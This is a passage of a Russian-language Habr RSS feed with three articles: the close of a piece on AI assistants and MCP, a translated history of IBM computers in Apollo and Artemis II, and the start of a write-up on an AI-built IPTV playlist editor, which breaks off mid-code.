понимаете.&lt;h4&gt;Еще раз про промт:&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;Учитель сказал: каков вопрос — таков и ответ. Кто спрашивает лениво — получает пустоту. Кто спрашивает точно — получает силу.&lt;/blockquote&gt;&lt;p&gt;Создавайте правильные и понятные промты для AI. Пользуйтесь помощью у AI для генерации правильных промтов, чтобы результат был релевантен и ожидаем.&lt;h3&gt;MCP‑серверы: когда AI выходит за рамки текста&lt;/h3&gt;&lt;p&gt;Теперь перейдём к более продвинутой, но крайне полезной теме — Model Context Protocol (MCP).&lt;h4&gt;Что такое MCP&lt;/h4&gt;&lt;p&gt;MCP — это открытый протокол, который был предложен компанией Anthropic в ноябре 2024 года и с тех пор принят основными игроками рынка, включая OpenAI и Google. В декабре 2025 года протокол был передан в Agentic AI Foundation под управлением Linux Foundation.&lt;p&gt;Если объяснять совсем просто: MCP — это «USB‑C для AI». Так же, как USB‑C предоставляет единый стандарт подключения устройств, MCP предоставляет единый стандарт подключения AI‑ассистентов к внешним сервисам и источникам данных.&lt;h4&gt;Зачем это нужно&lt;/h4&gt;&lt;p&gt;По умолчанию AI‑ассистент — это изолированная «голова»: он знает только то, на чём обучен, и видит только то, что вы ему отправили в чате. Он не может залезть в вашу базу данных, прочитать файлы на диске, отправить письмо или создать задачу в Jira.&lt;p&gt;MCP решает эту проблему. Через MCP AI‑ассистент получает доступ к внешним инструментам и данным:&lt;ul&gt;&lt;li&gt;&lt;p&gt;файловая система (чтение и запись файлов);&lt;li&gt;&lt;p&gt;базы данных (выполнение запросов);&lt;li&gt;&lt;p&gt;внешние API (GitHub, Slack, Notion, Jira, Google Calendar, Gmail);&lt;li&gt;&lt;p&gt;поисковые системы;&lt;li&gt;&lt;p&gt;специализированные инструменты.&lt;/ul&gt;&lt;h4&gt;Как это работает&lt;/h4&gt;&lt;p&gt;Архитектура MCP состоит из трёх компонентов:&lt;p&gt;&lt;strong&gt;MCP Host&lt;/strong&gt; — это AI‑приложение, в котором вы работаете (Claude Desktop, Cursor, VS Code и так далее). Хост содержит LLM и управляет клиентами.&lt;p&gt;&lt;strong&gt;MCP Client&lt;/strong&gt; — посредник между LLM и сервером. Клиент переводит запросы модели в формат протокола и обратно. У каждого клиента связь с одним сервером (1 к 1).&lt;p&gt;&lt;strong&gt;MCP Server&lt;/strong&gt; — внешний сервис, который предоставляет данные или возможности. Сервер «объявляет» свои инструменты (tools), ресурсы (resources) и шаблоны промтов (prompts).&lt;p&gt;Вся коммуникация идёт по JSON‑RPC 2.0 в рамках stateful‑сессии — то есть клиент и сервер поддерживают постоянное соединение и обмениваются данными в обе стороны.&lt;h4&gt;Пример: как это выглядит на практике&lt;/h4&gt;&lt;p&gt;Допустим, вы спрашиваете AI: «Найди последний отчёт о продажах в нашей базе данных и отправь его менеджеру по email».&lt;p&gt;Без MCP AI скажет: «Извините, я не могу получить доступ к вашей базе данных или отправить email».&lt;p&gt;С MCP происходит следующее:&lt;ol&gt;&lt;li&gt;&lt;p&gt;AI понимает, что ему нужны два инструмента: запрос к БД и отправка email.&lt;li&gt;&lt;p&gt;Через MCP‑клиент он обнаруживает доступные MCP‑серверы: &lt;code&gt;database_query&lt;/code&gt; и &lt;code&gt;email_sender&lt;/code&gt;.&lt;li&gt;&lt;p&gt;AI формирует структурированный запрос к серверу БД — сервер выполняет SQL‑запрос и возвращает данные.&lt;li&gt;&lt;p&gt;AI формирует запрос к серверу email — сервер отправляет письмо с отчётом.&lt;li&gt;&lt;p&gt;AI отвечает вам: «Нашёл последний отчёт о продажах и отправил его на email менеджеру».&lt;/ol&gt;&lt;h4&gt;Какие MCP‑серверы доступны&lt;/h4&gt;&lt;p&gt;На момент написания статьи доступны MCP‑серверы для огромного числа сервисов. Вот некоторые из популярных:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Git/GitHub/GitLab&lt;/strong&gt; — поиск по кодовой базе, чтение файлов, создание коммитов и pull request&amp;#39;ов;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Slack&lt;/strong&gt; — чтение и отправка сообщений;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Notion&lt;/strong&gt; — работа с базами знаний;&lt;li&gt;&lt;p&gt;&lt;strong&gt;PostgreSQL / MySQL&lt;/strong&gt; — выполнение запросов к базам данных;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Brave Search&lt;/strong&gt; — поиск в интернете;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Файловая система&lt;/strong&gt; — чтение и запись локальных файлов;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Docker&lt;/strong&gt; — управление контейнерами.&lt;/ul&gt;&lt;p&gt;Полный каталог MCP‑серверов можно найти на GitHub в репозитории modelcontextprotocol.&lt;p&gt;&lt;strong&gt;MCP для геймдева: Unity и Unreal Engine&lt;/strong&gt;&lt;p&gt;Отдельно хочу привести пример, который наглядно показывает, насколько мощной может быть связка AI + MCP — это геймдев.&lt;p&gt;Для &lt;strong&gt;Unity&lt;/strong&gt; существует MCP‑сервер «mcp‑unity», который превращает AI‑ассистента в полноценного напарника прямо внутри редактора. Вы подключаете его к Claude Code, Cursor или VS Code — и можете управлять Unity естественным языком. Говорите «создай красный, синий и жёлтый куб» — агент сам создаёт объекты на сцене. Говорите «собери простой контроллер игрока» — агент пишет скрипт, вешает компоненты, настраивает физику. И это не просто генерация кода в отдельном окне — агент работает прямо с редактором: управляет сценой, создаёт и удаляет объекты, редактирует скрипты, манипулирует ассетами, запускает профилировщик, настраивает физику. По сути, у вас появляется второй разработчик, который сидит внутри Unity и делает рутину за вас.&lt;p&gt;Я привожу этот пример не потому, что все читатели — геймдевы, а потому, что он отлично демонстрирует суть MCP: один и тот же протокол, одна и та же модель, но подключаете разные серверы — и получаете совершенно разные возможности. Сегодня агент управляет Unity, завтра — вашей CI/CD системой, послезавтра — автомобилем или ракетой.&lt;h2&gt;Заключение&lt;/h2&gt;&lt;p&gt;AI‑ассистенты в 2026 году — это уже не игрушка и не эксперимент. Это полноценный рабочий инструмент, который при правильном использовании экономит часы рабочего времени ежедневно. Ключевые моменты, которые я хотел бы выделить:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Учитесь писать промты&lt;/strong&gt; — это главный навык при работе с AI. Конкретный, структурированный запрос даёт на порядок лучший результат, чем абстрактный.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Учитесь писать скиллы&lt;/strong&gt; — в статье я это не упомянул по скиллы, но это сильно упростит решение типовых задач с интегрированными инструкциями агенту.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Выбирайте AI под задачу&lt;/strong&gt; — ChatGPT для универсальных задач, Claude для документов и кода, Gemini для интеграции с Google. Это именно мое видение.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Изучите MCP&lt;/strong&gt; — если вы разработчик, MCP открывает возможности по интеграции AI с вашими инструментами и данными.&lt;/ol&gt;&lt;p&gt;AI не заменит специалиста, но специалист с AI заменит того, кто AI не использует. И чем раньше вы начнёте разбираться в этих инструментах, тем больше преимуществ получите. Спасибо за внимание, надеюсь статья была полезной. Если у вас остались вопросы — пишите в коммен■■■ ВНИМАНИЕ: ПРЕВЫШЕН ЛИМИТ КОНТЕКСТНОГО ОКНА ■■■ … пишите в комментарии, я обязательно отве.&lt;p&gt;P. S. Последний абзац написан без участия AI. Или нет. Вы уже не можете быть уверены, и в этом часть идеи статьи.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Qulisun</author>
      <guid>https://habr.com/ru/articles/1024904/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024904</guid>
      <pubDate>Sat, 18 Apr 2026 07:15:30 +0000</pubDate>
    </item>
    <item>
      <title>[Перевод] Артемида и Аполлон: системы, отправившие их на Луну и вернувшие обратно</title>
      <link>https://habr.com/ru/articles/1024864/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024864</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;На неделе годовщины запуска и аварии Аполлона-13 я понял, что меньше думаю о взрыве кислородного бака, чем о том, что удалось сделать и до него, и после. Короткие моменты истории демонстрируют ценность надёжных систем более наглядно, чем этот полёт.&lt;p&gt;Наблюдая на прошлой неделе за миссией Артемида-2, я был поражён некоторыми параллелями и различиями между ней и Аполлоном-13. Космический аппарат &lt;strong&gt;&lt;em&gt;Integrity&lt;/em&gt;&lt;/strong&gt; Артемиды-2 приземлился 11 апреля, в тот же день, когда был запущен &lt;em&gt;Odyssey&lt;/em&gt; Аполлона-13. Внешне эти две капсулы выглядят похоже, но &lt;em&gt;Integrity&lt;/em&gt; больше и несёт в себе экипаж из четырёх астронавтов, а не трёх. Однако внутри их разделяет больше полувека технологического прогресса. Наиболее очевидно это на примере имеющейся у астронавтов вычислительной мощности. Сегодня компьютеры захватили мир, но в 1960-х они были на ранних этапах своего развития, и прилунение стало не только триумфом труда, изобретательности и упорства человека, но и триумфом одного из самых новых инструментов человечества — компьютера.&lt;p&gt;Цитата из &lt;em&gt;The New York Times &lt;/em&gt;за 17 июля 1969 года, непосредственно перед первой посадкой на Луну:&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;«Если бы мне нужно было выбрать самое важное устройство, которое больше всех других помогло нам всего за семь лет совершить путь от околоземного проекта «Меркурий» до полёта Аполлона на Луну, то я бы сказал, что это высокоскоростной компьютер»&lt;br&gt;— Кристофер Крафт, руководитель полётов НАСА, Центр пилотируемых космических аппаратов, Хьюстон.&lt;/em&gt;&lt;/blockquote&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/ee4/d87/aca/ee4d87aca0da5bb0a9ced4e2228bf568.jpg alt=&#34;Мэри Джексон была одним из «живых компьютеров», работавших с цифровыми компьютерами IBM. Её история рассказана в фильме «Скрытые фигуры».&#34; title=&#34;Мэри Джексон была одним из «живых компьютеров», работавших с цифровыми компьютерами IBM. Её история рассказана в фильме «Скрытые фигуры».&#34; width=2048 height=1589 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/ee4/d87/aca/ee4d87aca0da5bb0a9ced4e2228bf568.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/ee4/d87/aca/ee4d87aca0da5bb0a9ced4e2228bf568.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Мэри Джексон была одним из «живых компьютеров», работавших с цифровыми компьютерами IBM. Её история рассказана в фильме «Скрытые фигуры».&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В мире компьютеры были в дефиците, зато в избытке они были в программе «Аполлон» — от планирования до строительства и испытаний самих полётов; люди попросту не могли бы справиться с тем объёмом информации и выполнять необходимые вычисления с достаточной скоростью и эффективностью.&lt;p&gt;Самые большие и многофункциональные компьютеры находились в подвале здания Центра управления полётами в Хьюстоне. Real Time Computing Complex (RTCC) состоял из множества мейнфреймов IBM, они отслеживали каждый аспект полётов, выдавали в реальном времени информацию диспетчерам, вычисляли прошлое, текущее и будущее местоположение космического аппарата и, наконец, доставляли на него цифровые команды и информацию.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/7ec/f9a/448/7ecf9a448911d26160122ebad9cf3479.jpg alt=&#34;Пульт управления полётами и мейнфреймы RTCC (НАСА/IBM)&#34; title=&#34;Пульт управления полётами и мейнфреймы RTCC (НАСА/IBM)&#34; width=1400 height=416 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/7ec/f9a/448/7ecf9a448911d26160122ebad9cf3479.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/7ec/f9a/448/7ecf9a448911d26160122ebad9cf3479.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Пульт управления полётами и мейнфреймы RTCC (НАСА/IBM)&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Каждая консоль в Центре управления полётами отображала часть информации, анализируемой компьютерами RTCC — полётный врач видел телеметрию сердебиения и частоты дыхания астронавтов, инженер EECOM следил за жизненными показаниями самого космического аппарата (&lt;strong&gt;E&lt;/strong&gt;lectrical, &lt;strong&gt;E&lt;/strong&gt;nvironmental and &lt;strong&gt;COM&lt;/strong&gt;munication systems) [прим. пер.: на самом деле, эта аббревиатура означает &lt;strong&gt;E&lt;/strong&gt;lectrical, &lt;strong&gt;E&lt;/strong&gt;nvironmental, and &lt;strong&gt;CO&lt;/strong&gt;nsumables &lt;strong&gt;M&lt;/strong&gt;anager, есть диспетчер по мониторингу электрических систем, систем управления средой и расходных материалов], а инженер FIDO (&lt;strong&gt;F&lt;/strong&gt;light &lt;strong&gt;D&lt;/strong&gt;ynamics &lt;strong&gt;O&lt;/strong&gt;fficer — офицер по динамике полёта) отслеживал и корректировал направление полёта КА.&lt;p&gt;Хотя те современные модели мейнфреймов IBM 360 были настоящими черепахами по сравнению даже с самыми медленными современными компьютерами, они стали незаменимыми помощниками, которые обрабатывали огромный объём информации, генерируемый множеством компонентов лунных миссий «Аполлон» — простые смертные не смогли бы справиться с таким количеством данных.&lt;p&gt;Бóльшую часть информации, которую обрабатывали универсальные мейнфреймы IBM, генерировали другие, более специализированные компьютеры. Планирование полётов и подготовка начались за годы до запуска. Специальные симуляторы позволяли практиковаться и на «успешном маршруте» прохождения миссии, и проверять, как астронавты смогут справляться с неожиданными ошибками и происшествиями. Другие компьютеры применялись для коммуникационного оборудования и перенаправления драгоценных данных (телеметрии, радиокоммуникаций и телевизионной съёмки) с космического аппарата в Хьюстон, даже когда Луна уходила за горизонт в Техасе. Эти специализированные компьютеры были изготовлены широким спектром компаний: Computer Control Company, General Electric, UNIVAC и других.&lt;p&gt;Самыми известными из компьютеров Аполлона были сами компьютеры космического аппарата — те, которыми астронавты пользовались для управления им и полёта с Земли на Луну. Apollo Guidance Computer (AGC), спроектированный компьютерной лабораторией Дрейпера и произведённый Raytheon, стал чудом миниатюризации 1960-х: он весил всего 32 килограмма и имел специализированную клавиатурную панель с двадцатью кнопками, достаточно прочную, чтобы астронавты могли нажимать на неё в толстых перчатках, вися в космической невесомости.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c8d/d19/933/c8dd199334eb41404bfff384832cdd7e.jpg alt=&#34;Ввод команд в модуль Display and Keyboard (DSKY) компьютера Apollo Guidance Computer во время симуляции&#34; title=&#34;Ввод команд в модуль Display and Keyboard (DSKY) компьютера Apollo Guidance Computer во время симуляции&#34; width=640 height=384 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c8d/d19/933/c8dd199334eb41404bfff384832cdd7e.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c8d/d19/933/c8dd199334eb41404bfff384832cdd7e.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Ввод команд в модуль Display and Keyboard (DSKY) компьютера Apollo Guidance Computer во время симуляции&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Последний компьютер был спрятан в сверхтяжёлой ракете Сатурн-5: IBM Instrument Unit превращался в независимые мозги и систему управления первых минут каждой лунной миссии.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/91a/8a2/756/91a8a27561962a876aa9a860517efd41.jpg alt=&#34;Instrument Unit Сатурна-5 и его компоненты&#34; title=&#34;Instrument Unit Сатурна-5 и его компоненты&#34; width=640 height=417 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/91a/8a2/756/91a8a27561962a876aa9a860517efd41.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/91a/8a2/756/91a8a27561962a876aa9a860517efd41.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Instrument Unit Сатурна-5 и его компоненты&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Этот компьютер был настолько качественно изготовлен, что даже пережил прямой удар молнии при запуске Аполлона-12! Ведущий проектировщик ракеты Сатурн Вернер фон Браун сказал: «Если будет работать Instrument Unit, то будет работать и Сатурн»&lt;em&gt;.&lt;/em&gt;&lt;p&gt;Благодаря героической работе команд, работавших на Земле, Аполлон-13 успешно приземлился почти ровно 56 лет назад. Спустя несколько месяцев после посадки астронавты отправили благодарственное письмо команде из IBM.&lt;p&gt;Один из любимых артефактов в моей коллекции — это письмо экипажа Аполлона-13, отправленное в IBM спустя несколько месяцев после их восстановления. Вот оно, по соседству с Lego-версиями приводнившейся капсулы Аполлона и лунного модуля.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b86/98e/db6/b8698edb610d151c52d1c8d80c1ef545.jpg alt=&#34;Письмо от астронавтов Аполлона-13 работникам IBM (из моей личной коллекции) &#34; title=&#34;Письмо от астронавтов Аполлона-13 работникам IBM (из моей личной коллекции) &#34; width=480 height=640 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b86/98e/db6/b8698edb610d151c52d1c8d80c1ef545.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b86/98e/db6/b8698edb610d151c52d1c8d80c1ef545.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Письмо от астронавтов Аполлона-13 работникам IBM (из моей личной коллекции) &lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Уважаемый сотрудник IBM:&lt;/em&gt;&lt;p&gt;&lt;em&gt;Наша миссия «Аполлон-13» была одной из самых опасных в истории космоса. Если наш полёт чему-то и научил нас, так это тому, что безупречность требуется во всех аспектах Аполлона. Риски настолько велики, что нас не может устроить ничто меньшее.&lt;/em&gt;&lt;p&gt;&lt;em&gt;Вы, как сотрудник IBM, можете по праву гордиться той ролью, которую сыграла ваша компания в миссии. Сотрудники IBM в Хантсвилле, Хьюстоне, на мысе Кеннеди, в Годдарде и Овего проделали потрясающую работу для обеспечения безопасности нашего полёта. Мы стали доверять поведению Instrument Unit, поддержке наземных компьютеров и систем, обеспеченным IBM. Все сферы работы вашей компании пронизаны одной темой: безупречностью как систем, так и людей. Мы и все наши коллеги-астронавты полагаемся на то, что вы продолжите качественно выполнять свою работу в будущих пилотируемых полётах.&lt;/em&gt;&lt;p&gt;&lt;em&gt;Непосредственно перед запуском Аполлона-13 один из нас сказал журналисту: «Хоть мы и обрели уверенность в пилотируемых космических полётах, но риски никуда не деваются». И мир теперь знает, насколько серьёзны могут быть эти риски. Мы не скоро забудем эти слова. Мы надеемся, что каждый участвующий в программе «Аполлон» будет учитывать их во всех своих действиях.&lt;/em&gt;&lt;p&gt;&lt;em&gt;После миссий «Меркурий» и «Джемини», после всех полётов Аполлона астронавты научились рассчитывать на это ставшее традицией стремление IBM к безупречности. Мы продолжим рассчитывать на него и во всех будущих полётах. Нас обнадёживает то, что качество — это традиция для вашей компании. Безупречность для вас — это вопрос гордости. Для нас это вопрос выживания.&lt;/em&gt;&lt;p&gt;&lt;em&gt;Пожалуйста, примите наши сердечные благодарности за ваши прошлые достижения. Мы рассчитываем на поддержку IBM в обеспечении побед команды Аполлона/Сатурна в будущем.&lt;/em&gt;&lt;p&gt;&lt;em&gt;С уважением,&lt;/em&gt;&lt;p&gt;&lt;em&gt;Джеймс Ловелл                                      Джек Суайгерт                                        Фред Хейс&lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;Дополнительную информацию о мейнфреймах Центра управления полётами можно узнать из &lt;a href=&#34;https://www.youtube.com/watch?v=PWdyBoomYAg&amp;amp;t=26s&amp;amp;pp=ygUXbWFpbmZyYW1lcyBhbmQgdGhlIG1vb24%3D&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;потрясающей лекции&lt;/a&gt; моего коллеги Марка Нельсона, с 2019 года рассказывавшего историю мейнфреймов и Луны всем тем, кто был готов слушать.&lt;p&gt;После триумфа Аполлона IBM продолжила развивать свои продукты и себя. Эта компания со столетней историей за прошедшие десятилетия успешно много раз изобретала себя заново. Сегодня она продолжает развивать прогресс с сферах ИИ, квантовых вычислений и самодостаточного развития. В то же время IBM не забыла обещание, данное астронавтам Аполлона, и продолжает рука об руку работать с НАСА.&lt;p&gt;В прошлом году IBM и НАСА &lt;a href=https://newsroom.ibm.com/2025-08-20-ibm-and-nasa-release-groundbreaking-open-source-ai-model-on-hugging-face-to-predict-solar-weather-and-help-protect-critical-technology rel=&#34;noopener noreferrer nofollow&#34;&gt;объявили&lt;/a&gt; о выпуске самой совершенной опенсорсной модели ИИ, предназначенной для анализа данных наблюдений за Солнцем высокого разрешения и прогнозирования влияния солнечной активности на Землю и находящиеся в космосе технологии.&lt;p&gt;В этом году компьютеры IBM Power &lt;a href=https://www.linkedin.com/posts/ibm-cloud_ibm-power-servers-ran-at-the-core-of-artemis-activity-7449907838467973120-zEam rel=&#34;noopener noreferrer nofollow&#34;&gt;управляли&lt;/a&gt; системой управления запуском Артемиды-2 во время обратного отсчёта; система обрабатывала и отслеживала сотни тысяч точек данных телеметрии через датчики, расположенные по всей системе запуска, и сообщала о состоянии систем ракеты и космического аппарата.&lt;p&gt;Спустя более полувека после запуска Аполлона-13 технологии изменились почти до неузнаваемости. Тем не менее, как и на долгом пути домой повреждённого космического аппарата, то, что важно на самом деле, продолжает работать до, во время и после чрезвычайных ситуаций. Когда от создаваемых нами систем зависят жизни, надёжность — это не один из параметров, а главная миссия.&lt;p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>PatientZero</author>
      <guid>https://habr.com/ru/articles/1024864/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024864</guid>
      <pubDate>Sat, 18 Apr 2026 06:43:24 +0000</pubDate>
    </item>
    <item>
      <title>Как ИИ написал локальный редактор IPTV-плейлистов на FastAPI + React 19</title>
      <link>https://habr.com/ru/articles/1024902/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024902</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;&lt;strong&gt;Хабы&lt;/strong&gt;: &lt;code&gt;React&lt;/code&gt;, &lt;code&gt;FastAPI&lt;/code&gt;, &lt;code&gt;TypeScript&lt;/code&gt;, &lt;code&gt;Tailwind CSS&lt;/code&gt;, &lt;code&gt;Open source&lt;/code&gt;, &lt;code&gt;IPTV&lt;/code&gt;, &lt;code&gt;Python&lt;/code&gt;&lt;p&gt;&lt;strong&gt;Теги&lt;/strong&gt;: &lt;code&gt;m3u&lt;/code&gt;, &lt;code&gt;m3u8&lt;/code&gt;, &lt;code&gt;iptv&lt;/code&gt;, &lt;code&gt;fastapi&lt;/code&gt;, &lt;code&gt;react&lt;/code&gt;, &lt;code&gt;hls&lt;/code&gt;, &lt;code&gt;epg&lt;/code&gt;, &lt;code&gt;drag-and-drop&lt;/code&gt;, &lt;code&gt;self-hosted&lt;/code&gt;&lt;h3&gt;Введение&lt;/h3&gt;&lt;p&gt;У меня был плейлист на 1000+ IPTV-каналов и стойкая привычка править его на свой вкус. Менять порядок каналов, чистить дубликаты, добавлять любимое в группу «Основное» — всё очень неудобно. Каждый раз при обновлении списка каналов/провайдера — заново.&lt;p&gt;В какой-то момент мне это надоело, и я вдохновленный идеей с помощью ИИ написали &lt;strong&gt;m3u Studio&lt;/strong&gt; — локальный веб-редактор плейлистов с drag-and-drop, встроенным HLS-плеером, EPG и автоматическим подтягиванием логотипов.&lt;p&gt;&lt;a href=https://github.com/stepanovandrey89/m3ustudio rel=&#34;noopener noreferrer nofollow&#34;&gt;Исходники &lt;/a&gt;(MIT)&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/e0b/f72/a98/e0bf72a98e1249287b0f5c23b0ea16c3.png alt=workspace width=2876 height=1422 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/e0b/f72/a98/e0bf72a98e1249287b0f5c23b0ea16c3.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/e0b/f72/a98/e0bf72a98e1249287b0f5c23b0ea16c3.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;workspace&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;В этом посте расскажу про интересные архитектурные решения, которые всплыли по ходу работы.&lt;h3&gt;Что это вообще такое&lt;/h3&gt;&lt;p&gt;Запускаешь &lt;code&gt;docker compose up -d&lt;/code&gt;, открываешь &lt;a href=http://127.0.0.1:8000 rel=&#34;noopener noreferrer nofollow&#34;&gt;http://127.0.0.1:8000&lt;/a&gt;, загружаешь свой &lt;code&gt;.m3u8&lt;/code&gt;. Получаешь двухпанельный интерфейс: слева — исходный плейлист по группам, справа — твой курируемый список «Main». Перетаскиваешь каналы между панелями, внутри Main — переупорядочиваешь drag’n’drop’ом, любой канал кликом открывается в плеере. Экспорт — один клик: скачивается очищенный &lt;code&gt;.m3u8&lt;/code&gt; с твоим порядком.&lt;p&gt;&lt;strong&gt;Стек&lt;/strong&gt;: FastAPI + httpx + Pydantic v2 на бэке, React 19 + TypeScript + Tailwind v4 + &lt;code&gt;@dnd-kit&lt;/code&gt; + &lt;code&gt;hls.js&lt;/code&gt; + TanStack Query на фронте. ~10k LOC суммарно.&lt;h3&gt;Решение 1: состояние хранится по именам, а не id&lt;/h3&gt;&lt;p&gt;Когда парсишь m3u-файл, каждому каналу нужен стабильный идентификатор. Очевидный выбор — хешировать URL потока:&lt;pre&gt;&lt;code class=python&gt;def _stable_id(url: str) -&amp;gt; str:&#xA;    digest = hashlib.sha1(url.encode(&amp;#34;utf-8&amp;#34;), usedforsecurity=False).hexdigest()&#xA;    return digest[:12]&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Проблема всплывает, когда пользователь меняет провайдера. URL-ы меняются полностью — значит, меняются все id-шники, и вся твоя курация («вот мои любимые 50 каналов в таком-то порядке») идёт к чёрту.&lt;p&gt;Решение: хранить курируемый порядок по &lt;strong&gt;именам каналов&lt;/strong&gt;, а не id. Имена стабильны между провайдерами. Внутренний store переводит имя ↔ id на границе через словарь, построенный из текущего плейлиста:&lt;pre&gt;&lt;code class=python&gt;@dataclass(frozen=True, slots=True)&#xA;class MainState:&#xA;    main_names: tuple[str, ...]&#xA;&#xA;class StateStore:&#xA;    def current_ids(self) -&amp;gt; list[str]:&#xA;        &amp;#34;&amp;#34;&amp;#34;Stored names → current playlist ids.&amp;#34;&amp;#34;&amp;#34;&#xA;        with self._lock:&#xA;            name_to_id = self._name_to_id_map()&#xA;            return [name_to_id[n] for n in self._state.main_names if n in name_to_id]&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Фронту это незаметно — API отдаёт id-шники, как и раньше. Но загрузишь новый плейлист от другого провайдера — твоя курация автоматически перенесётся на новые каналы с теми же именами.&lt;h3&gt;Решение 2: зеркалирование Main ↔ Source&lt;/h3&gt;&lt;p&gt;Курируемый список «Main» и группа «основное» в исходном плейлисте — это, по сути, одно и то же. Когда пользователь перетаскивает канал в Main, мне нужно:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Обновить &lt;code&gt;state.json&lt;/code&gt; (курируемый список)&lt;li&gt;&lt;p&gt;Переписать &lt;code&gt;playlist.m3u8&lt;/code&gt; так, чтобы группа «основное» отражала новый порядок (нужно для экспорта и для того, чтобы видеть изменения в левой панели)&lt;li&gt;&lt;p&gt;Обновить &lt;code&gt;default_names.txt&lt;/code&gt; (список имён, который используется как «семя» при первом импорте)&lt;/ol&gt;&lt;p&gt;Всё это делается одним хелпером &lt;code&gt;&lt;em&gt;sync&lt;/em&gt;main_to_source&lt;/code&gt;, который вызывается из каждого &lt;code&gt;PATCH /api/main&lt;/code&gt;:&lt;pre&gt;&lt;code class=python&gt;def _sync_main_to_source() -&amp;gt; None:&#xA;    main_ids = _state.store.current_ids()&#xA;&#xA;    text = build_with_main_group(&#xA;        header=_state.playlist.header,&#xA;        all_channels=_state.playlist.channels,&#xA;        main_ids=main_ids,&#xA;        group_name=MAIN_GROUP_NAME,&#xA;    )&#xA;    PLAYLIST_PATH.write_text(text, encoding=&amp;#34;utf-8&amp;#34;)&#xA;    _state.playlist = parse_playlist(PLAYLIST_PATH)&#xA;    _state.store.bind_playlist(_state.playlist)&#xA;&#xA;    current_names = _state.store.state.main_names&#xA;    if 